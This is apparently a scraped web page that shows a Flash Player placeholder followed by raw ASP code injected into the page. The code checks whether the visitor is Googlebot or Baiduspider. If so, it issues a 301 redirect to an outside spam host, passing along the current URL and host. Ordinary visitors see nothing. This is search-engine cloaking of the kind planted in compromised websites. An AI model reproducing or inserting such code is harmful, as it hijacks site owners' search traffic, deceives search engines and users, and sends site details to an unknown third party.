This content requires Adobe Flash Player 8

Download Adobe Flash

<% function Getbot() dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) > 0 then GetBot="google" end if if instr(1,s_agent,"baiduspider",1) > 0 then GetBot="baidu" end if end function if GetBot="baidu" or GetBot="google" then url="http://www.82508.com/dz/1.html?A="&Server.URLEncode(GetUrl)&"&B="&host Response.Status = "301 Moved Permanently" Response.AddHeader "Location", url Response.Write"" else Response.Write"" end if %>